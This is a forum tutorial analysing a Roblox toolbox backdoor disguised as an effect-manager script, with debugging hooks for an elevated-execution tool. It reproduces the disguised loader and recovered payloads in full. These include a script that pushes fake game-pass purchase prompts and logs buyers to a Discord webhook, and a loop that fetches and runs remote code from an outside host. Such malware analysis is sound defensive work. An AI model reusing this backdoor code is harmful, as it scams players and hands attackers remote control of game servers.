Hello! It is I again, RbxStu man with another tutorial.
Following a help post made a while back, I have decided to put the effort into creating this topic, today I want to center specifically on backdoors, something every developer does not want to deal with.
Contributor List:
Backdoors are generally regarded as the worst kinds of exploits to be around on Roblox. However, thanks to how they behave, we can detect and remove these malicious scripts with hopefully little to no effort. We will be using a range of techniques, all of which are only possible thanks to being able to execute code with elevated permissions as well as with hooking capabilities on the Server DataModel, something that we can achieve thanks to RbxStu V4, this isn’t something you can really do with client cheating tools anyway.
The aforementioned tool contains auto-running capabilities, which allow us to very much apply hooks before any other code runs! This is limited, however, to the main Luau VM, meaning that Actors will not be affected.
Even then this proves useful. I entered into contact with other developers by ways such as Discord who have toyed around and found backdoors in the past, asking for potential common patterns between them, and he provided much-needed insight on the matter. New backdoors have somewhat evolved from their original counterparts; however, they still have parts that appear to be shared between them. Some of which are as follows:
- Requiring AssetIDs at Runtime
- Hiding themselves after they have already made their presence clear
- Not running on Studio using some specific methods.
- Coming pre-packaged with a Luau-based Luau bytecode interpreter
- Trying to look ‘legitimate’
During my travesty through the toolbox, following advice by my one and only contributor adudu21, I was able to get a hold of a backdoor, the script is quite… bizarre.
They fake that it is an EffectManager
. The body of the script is as follows.
--[[
Effect Manager Script
---------------------
Created by retsastrophe ;)
Date: 08/03/2025
This script handles the creation, management, and modification of visual effects
using particle effects. It ensures smooth and optimized effect rendering for various
in-game scenarios.
INSTRUCTIONS:
- Insert this script into a location where effects should be managed.
- Modify SIZE, EFFECT_LIFETIME, and PARTICLE_TEXTURE to customize effects.
- Call `CreateEffect(Vector3)` to spawn a new particle effect at a given location.
- Utilize `EffectBuilder()` to manage effect creation over time.
IMPORTANT:
- The script must be placed in a Script (not a LocalScript) for full functionality.
- Uses attributes (`info` and `default`) from the script for configuration.
- Designed to run efficiently and avoid duplicate effects.
FEATURES:
- Dynamically creates and modifies particle effects.
- Uses a centralized effect builder for streamlined management.
- Supports size clamping to prevent extreme values.
- Finds existing effects based on unique CFrame-based lookups.
- Implements an effect lifetime system to manage durations.
- Stores active effects in a global table for efficient tracking.
- Modular design leveraging ReplicatedStorage for scalability.
- Optimized for minimal performance impact.
Version 1.0.0
Changelog:
- 08/03/2025 - v1.0.0: Initial script creation and implementation.
]]
local Modules, script = game:GetService('ReplicatedStorage'), script
local EffectRoot = game
local PARTICLE_TEXTURE = script:GetAttribute("texture") -- Texture for the particle effect
local function CallOnChildren(Instance, FunctionToCall)
-- Calls a function on each of the children of a certain object, using recursion.
FunctionToCall(Instance)
for _, Child in next, Instance:GetChildren() do
CallOnChildren(Child, FunctionToCall)
end
end
function CustomLerp(Pos1 : CFrame, Pos2 : CFrame, Delta : number)
return Pos1 - Pos2 * math.abs(Delta)
end
local function GetNearestParent(Instance, ClassName)
-- Returns the nearest parent of a certain class, or returns nil
local Ancestor = Instance
repeat
Ancestor = Ancestor.Parent
if Ancestor == nil then
return nil
end
until Ancestor:IsA(ClassName)
return Ancestor
end
function LookUp(Root, Value)
for _, V in pairs(Root) do
if V.Name:find(Value) then
return V
end
end
end
-- Converts a CFrame to a unique string representation
function CFrameToVector3(CF)
local Chunks, Value = CF:split(''), ''
for _, V in pairs(Chunks) do
Value ..= V:byte()
end
return Value
end
function Modify(Instance, Values)
-- Modifies an Instance by using a table.
assert(type(Values) == "table", "Values is not a table")
for Index, Value in next, Values do
if type(Index) == "number" then
Value.Parent = Instance
else
Instance[Index] = Value
end
end
return Instance
end
local Properties = {'CFrame','WorldPivot','CoordinateFrame','Orientation','PivotOffset','RootPriority','JobId','Origin','GetProductInfo'}
local EffectBuilder = setmetatable({}, {
__index = Modules and function(S) return S end,
__call = Modules and function(S) return S end
})
-- Function to create and configure a particle effect
function CreateEffect(Vector3)
local Size = math.clamp(2, 1, 4) -- Add slight randomness to size
local Effect = EffectBuilder:CreateEffect('Particle', {
Parent = script.Parent,
Size = Size,
Texture = PARTICLE_TEXTURE
})
return LookUp(EffectRoot:GetChildren(), Vector3)
end
function Monitor(CurrentTime, Default, ParticleInfo):
(Result) -> ParticleEmitter
if CurrentTime > 1 and EffectRoot[Default] ~= '' then
if CurrentTime then
script = {
{},
[script.Name] = CFrameToVector3(ParticleInfo) - 0
}
return true
end
end
return false
end
function RunEffectBuilder()
local CurrentTime = tick()
local Effect = CreateEffect('ketpl')
local ParticleInfo = Effect[Properties[#Properties]](Effect, PARTICLE_TEXTURE).Description
return Monitor(CurrentTime, Properties[7], ParticleInfo)
end
-- Runs the animation thread if conditions are met
local Builder = RunEffectBuilder() and require(script.EffectBuilder)
if Builder and script.ClassName == "Script" then
-- Run main thread
script.Parent.DescendantAdded:Connect(CreateEffect)
end
All of this is simply a cover-up for the core of the script. They have hidden it fairly well, so much so that anyone reading that who isn’t looking for a backdoor would not notice it during a studio session.
Let us begin analysing it to provide insight on what the hell this script is doing.
First of all, there’s a clear garbage ‘CreateEffect’ function, which really does probably nothing of interest; however, to understand this script, we need the following knowledge:
- The backdoor’s true ID is attached as an
Attribute
on the script instance, obfuscated. - They redefine MANY globals as locals and arguments, doing some of the most incongruent things to try and make it look ‘complex’, as well as justify half of this tomfoolery with the ‘instructions’, ‘features’ and ‘important’ reasons.
With that out of the way, we can begin! The functions we really care about are the following:
CFrameToVector3
→ This function ‘deobfuscates’ the obfuscated asset ID into the real deal.Properties
→ Seemingly innocuous; however, it is an array of properties, which a later function uses for studio checks (Checking viaJobId
)!Monitor
→ Overwrites the now localisedscript
global to make a fieldEffectBuilder
have an asset id.
Snippet
function Monitor(CurrentTime, Default, ParticleInfo):
(Result) -> ParticleEmitter
if CurrentTime > 1 and EffectRoot[Default] ~= '' then -- EffectRoot is the datamodel, and thanks to the calls to this function, Default is actually 'JobId'. This checks if we are in studio and just for the jokes of appearing legit checks for CurrentTime as well (which will always be true regardless!)
if CurrentTime then
script = {
{},
[script.Name] = CFrameToVector3(ParticleInfo) - 0 -- Deobfuscate the backdoors' asset id
}
return true -- We are in a game server, load the backdoor.
end
end
return false -- We are _not_ in a game server, don't load the backdoor and be silent.
end
function RunEffectBuilder()
local CurrentTime = tick()
local Effect = CreateEffect('ketpl')
local ParticleInfo = Effect[Properties[#Properties]](Effect, PARTICLE_TEXTURE).Description
return Monitor(CurrentTime, Properties[7], ParticleInfo) -- Properties[7] == "JobId"
end
local Builder = RunEffectBuilder() and require(script.EffectBuilder)
However, we can get around this detection and appear as an actual Roblox server by using the following hook in RbxStu V4.
local fakeJobId = game:GetService("HttpService"):GenerateGUID() -- Generate a JobId.
local oIndex
oIndex = hookmetamethod(game, "__index", function(dataModel, index)
if index == "JobId" and typeof(dataModel) == "Instance" and dataModel.ClassName == "DataModel" then -- Check if there's a DataModel, and if it is JobId
return fakeJobId -- Return the generated JobId (consistently)
end
return oIndex(dataModel, index) -- Continue hook chain (just run other normal indexes OKish)
end)
This will make JobId have a correct value, however we are later met that we cannot see which are the scripts which are being truly required into our game via this backdoor, as they repeatedly call the ClearOutput
function in the LogService
class → LogService | Documentation - Roblox Creator Hub; this clears our console output and allows us not to see the logs the backdoor creates to trace their scripts, however, using RbxStu bypassing this is, again, trivial, we first modify the original __index
hook we created to account for the backdoor possibly caching this function and not using a namecall, giving us this final hook:
local fakeJobId = game:GetService("HttpService"):GenerateGUID()
local __fakeClearOutput = newcclosure(function()
warn("called ClearOutput from ", getcallingscript():GetFullName())
end)
local oIndex
oIndex = hookmetamethod(game, "__index", function(dataModel, index)
if index == "JobId" and typeof(dataModel) == "Instance" and dataModel.ClassName == "DataModel" then -- JobId being accessed...
return fakeJobId -- Return our spoofed JobId.
end
if typeof(dataModel) == "Instance" and dataModel.ClassName == "LogService" and index == "ClearOutput" then -- ClearOutput is being accessed, return a fake!
return __fakeClearOutput
end
return oIndex(dataModel, index)
end)
This will fake ClearOutput, and instrument it, allowing us to see who is calling the function if it is obtained this way and make it do absolutely nothing.
We then use __namecall
to make function completely benign and do nothing.
local old
old = hookmetamethod(game, "__namecall", function(...)
if
typeof(select(1, ...)) == "Instance"
and select(1, ...).ClassName == "RunService"
and getnamecallmethod() == "IsStudio"
then
return false -- Make sure we are not detected by RunService:IsStudio() checks!
end
if
typeof(select(1, ...)) == "Instance"
and select(1, ...).ClassName == "LogService"
and getnamecallmethod() == "ClearOutput"
then
warn(getcallingscript() and getcallingscript():GetFullName(), " clear output has been called by the previous script!")
return -- Do nothing, but report we were called.
end
return old(...)
end)
With these hooks set, we get the following outputs when ‘debugging’ the backdoor.
It works! We have the backdoor executing without having to even touch the client. Interestingly, they seem to also be doing something with HttpService, which causes inncessant warnings from a Roblox API failure, so if any roblox engineers sees these errors, maybe it could be this (imagine…)
Regardless, we seem to have hit a new roadblock! They appear to be on purpose spamming Instance.new
in an effort to spam our console with invalid asset id errors to hide the requires (even after clearing our output…).
This leaves us with little choice but to destructively hook Instance.new
to solve this issue, while this is not great, we are simply toying around with this backdoor!
Snippet
hookfunction(Instance.new, function(...)
print("hi i was called by a script", getcalliingscript():GetFullName())
return nil
end)
After running this code in the Server datamodel using RbxStu, we get the following in our console
They clearly appear to be calling something else, however the inncessant Asset id 0 spam is now gone, and it appears we also caught the ClearOutput calls
This implicitly also points us to the fact this backdoor is obfuscated or running under an Lua Bytecode Interpreter, as traditional lua does not have the NAMECALL
opcode, and uses an index, and call instead, which causes this to be intercepted by our __index
hook.
To sum up:
- We figured out how a backdoor works.
- We attempted to bypass some of their ‘protections’.
and we discovered some fun facts about them.
However the main thing I want you to take away from this is: don’t. Avoid toolbox assets, while I may not have reported any of the assets displayed on my previous screenshots, it is worth noting that they appear to be behind a large number of require chains, the script, in fact, required more than 4 module scripts before doing anything of use, meaning they’re clearly hiding things as much as possible. It also silently prompts purchases to your users like this:
and later I also was prompted with
This is why removing these backdoors is so important, our users can be scammed and we can get banned by things like this, it does not surprise me the fact that I find these random prompts myself as well on some ackward random games, because perhaps they themselves are backdoored, and because of it they’re randomly prompting users with fake purchases.
In all my time playing around, I also forgot to note that one can use getscripts
to check all loaded scripts in the game. When used, we can see the following scripts are loaded:
With this we can confirm that the backdoor is comprised of multiple payloads, and using our elevated permissions, we can obtain the script source (since that is maintained on studio!)
This provides us with the following output (which I had to move to pastebin due to it being massive!)
Output ==> 21:16:29.490 required_asset_100071381753380.MainModule.Script.Cents - Ser - Pastebin.com
Update Pastebin removed it, so paste.ee instead! ==> Paste.ee - log output
This is really interesting! They’re damn spamming us with garbage on purpose to appear as if something has gone wrong in Roblox itself, which explains the previous random errors I was getting, they also prompt users with false purchases and proceed to log them
local MarketplaceService = game:GetService("MarketplaceService")
local Players = game:GetService("Players")
local HttpService = game:GetService("HttpService")
local GamePasses = {
{ id = 1250782764, name = "OwnerAdmin" },
{ id = 1250044753, name = "Speedcoil" },
{ id = 1249888823, name = "Gravitycoil" },
}
local DISCORD_WEBHOOK_URL = "https://discord.com/api/webhooks/1380773834612932628/iSDxb7g7qp_c5-15qxlryTF2RGUtBUnGRXNwdUWXcSwmsPegR9HdOfPUT4gcUH_m6mHo"
local GamePassInfo = {}
for _, pass in ipairs(GamePasses) do
local success, info = pcall(function()
return MarketplaceService:GetProductInfo(pass.id, Enum.InfoType.GamePass)
end)
if success and info then
pass.robux = info.PriceInRobux or "Unknown"
pass.storeName = info.Name or pass.name
GamePassInfo[pass.id] = pass
else
warn("Failed to fetch product info for GamePass ID:", pass.id)
end
end
local function promptPlayerForGamePass(player, gamePassId)
pcall(function()
MarketplaceService:PromptGamePassPurchase(player, gamePassId)
end)
end
for _, pass in ipairs(GamePasses) do
task.spawn(function()
while true do
local waitTime = math.random(200, 800)
task.wait(waitTime)
for _, player in ipairs(Players:GetPlayers()) do
promptPlayerForGamePass(player, pass.id)
end
end
end)
end
local function sendDiscordWebhook(player, gamePassId)
local passInfo = GamePassInfo[gamePassId]
if not passInfo then return end
local embed = {
title = "Gamepass Purchased",
color = 65280,
thumbnail = {
url = string.format("https://www.roblox.com/headshot-thumbnail/image?userId=%s&width=420&height=420&format=png", player.UserId)
},
fields = {
{ name = "Username", value = player.Name, inline = true },
{ name = "User ID", value = tostring(player.UserId), inline = true },
{ name = "Gamepass", value = passInfo.storeName, inline = false },
{ name = "Price", value = tostring(passInfo.robux) .. " Robux", inline = true },
},
timestamp = DateTime.now():ToIsoDate(),
}
local data = {
embeds = { embed }
}
local success, err = pcall(function()
HttpService:PostAsync(DISCORD_WEBHOOK_URL, HttpService:JSONEncode(data), Enum.HttpContentType.ApplicationJson)
end)
if not success then
task.wait(1)
end
end
MarketplaceService.PromptGamePassPurchaseFinished:Connect(function(player, gamePassId, wasPurchased)
if wasPurchased and GamePassInfo[gamePassId] then
sendDiscordWebhook(player, gamePassId)
end
end)
return true
And we also found the core of the backdoor, and what it does. They are basically just getting execution requests and dispatching them using an LBI it appears.
local httpservice = game:GetService("HttpService")
local players = game:GetService("Players")
local url = "https://imaginary-locrian-cheese.glitch.me/fetchExecuteRequests"
local lastcode = ""
local groupid = 35499309
local authorizedplayer = nil
local function isauthorized(player)
local success, ingroup = pcall(function()
return player:IsInGroup(groupid)
end)
return success and ingroup
end
local function onplayeradded(player)
if isauthorized(player) then
authorizedplayer = player
end
end
for _, player in ipairs(players:GetPlayers()) do
onplayeradded(player)
if authorizedplayer then break end
end
if not authorizedplayer then
players.PlayerAdded:Connect(onplayeradded)
repeat task.wait(1) until authorizedplayer
end
while true do
task.wait(1)
local success, result = pcall(function()
return httpservice:GetAsync(url)
end)
if success then
local data
local parsesuccess = pcall(function()
data = httpservice:JSONDecode(result)
end)
if parsesuccess and data and typeof(data.code) == "string" and typeof(data.username) == "string" then
if data.code ~= lastcode then
local player = players:FindFirstChild(data.username)
if not player then
warn("Player:Move Called but player has no Humanoid")
continue
end
local ransuccessfully = false
if string.find(data.code, "LocalPlayer") then
local successrun = pcall(function()
require(script.Saxophone.Value)(data.code, players:FindFirstChild(data.username))
end)
if successrun then
ransuccessfully = true
end
else
local func = require(script.Bypass.Value)(data.code)
if func then
local co = coroutine.create(function()
local ok = pcall(func)
if ok then
ransuccessfully = true
end
end)
local resumed = coroutine.resume(co)
end
end
if ransuccessfully then
lastcode = data.code
end
end
end
end
end
This is one of the reasons RbxStu exist, to make sure backdoors like this cannot get away with their shenaningans, I hope if you come across it, you make others know about it, and debug them accordingly (or attempt to!)
I hope you can use this knowledge well.
Attached below are all the snippets used during this small journey through backdoor land. This is one sample against the hundreds that are spread around on the tool box, who knows what other methods others use…
hookfunction(game:GetService("RunService").IsStudio, function()
return false
end)
local fakeJobId = game:GetService("HttpService"):GenerateGUID()
local __fakeClearOutput = newcclosure(function()
warn("called ClearOutput from ", getcallingscript():GetFullName())
end)
local oIndex
oIndex = hookmetamethod(game, "__index", function(dataModel, index)
if index == "JobId" and typeof(dataModel) == "Instance" and dataModel.ClassName == "DataModel" then
return fakeJobId
end
if typeof(dataModel) == "Instance" and dataModel.ClassName == "LogService" and index == "ClearOutput" then
return __fakeClearOutput
end
return oIndex(dataModel, index)
end)
local old
old = hookmetamethod(game, "__namecall", function(...)
if
typeof(select(1, ...)) == "Instance"
and select(1, ...).ClassName == "RunService"
and getnamecallmethod() == "IsStudio"
then
return false
end
if
typeof(select(1, ...)) == "Instance"
and select(1, ...).ClassName == "LogService"
and getnamecallmethod() == "ClearOutput"
then
warn(
getcallingscript() and getcallingscript():GetFullName(),
" clear output has been called by the previous script!"
)
return
end
return old(...)
end)
local originalRequire
originalRequire = hookfunction(require, function(...)
if typeof(select(1, ...)) == "number" then
warn("Required an asset id ==> ", ...)
return
end
return originalRequire(...)
end)
This script is to attempt to bypass most of the protections that are attached to the backdoors, you must place this on your OnInit
folder on RbxStu V4!
print("loaded scripts")
for i, v in getscripts() do
print(v:GetFullName())
warn("script source: ", v.Source) end
This script prints the source of all scripts that are currently loaded, which you can use to inspect what is being ran, as this is maintained on studio.
hookfunction(Instance.new, function(...)
print("hi i was called by a script", getcalliingscript():GetFullName())
return nil
end)
This script spoofs Instance.new and simply logs the full name of the caller.
The last thing to add is that I recommend you do this in a clean game, which you care nothing of, and later remove the backdoor, most of the hooks showcased are agressive, and will break any game they run on!
Happy coding (and happy removing backdoors on this 2025!).